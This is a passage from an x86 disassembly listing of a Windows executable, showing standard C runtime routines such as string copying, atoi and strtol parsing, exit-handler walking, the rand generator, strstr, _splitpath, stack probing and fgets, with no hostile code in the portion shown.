loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652

loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7

loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi

loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi

loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630

loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1

loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax

loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9

loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B

loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_441DB4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_441BA8
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738

loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx

loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_441DB4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_441BA8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------

loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax

loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43FB4C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748

loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4E0B70, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 27105AEh
		push	eax
		nop
		call	near ptr 2700A3Eh

loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4E0B6C, edi
		mov	byte_4E0B68, bl
		jnz	short loc_41B844
		mov	eax, dword_4E21DC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4E21D8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832

loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax

loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4E21DC
		jnb	short loc_41B81F

loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi

loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx

loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4E0B70, edi
		nop
		call	near ptr 77E75CB5h

loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax

loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------

loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------

loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43FB30, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43FB30
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43FB30, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967

loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934

loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi

loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929

loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]

loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------

loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------

loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------

loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0

loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E

loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4E20A1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi

loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------

loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0

loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi

loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax

loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------

loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax

loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0

loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40

loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C

loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------

loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]

loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------

loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx

loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C

loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0

loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi

loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_441DB4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------

loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_441BA8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------

loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------

loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E

loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx

loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82

loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_441DB4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------

loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_441BA8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------

loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_441DB4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------

loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_441BA8
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18

loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------

loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------

loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72

loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99

loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4E0B28, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------

loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
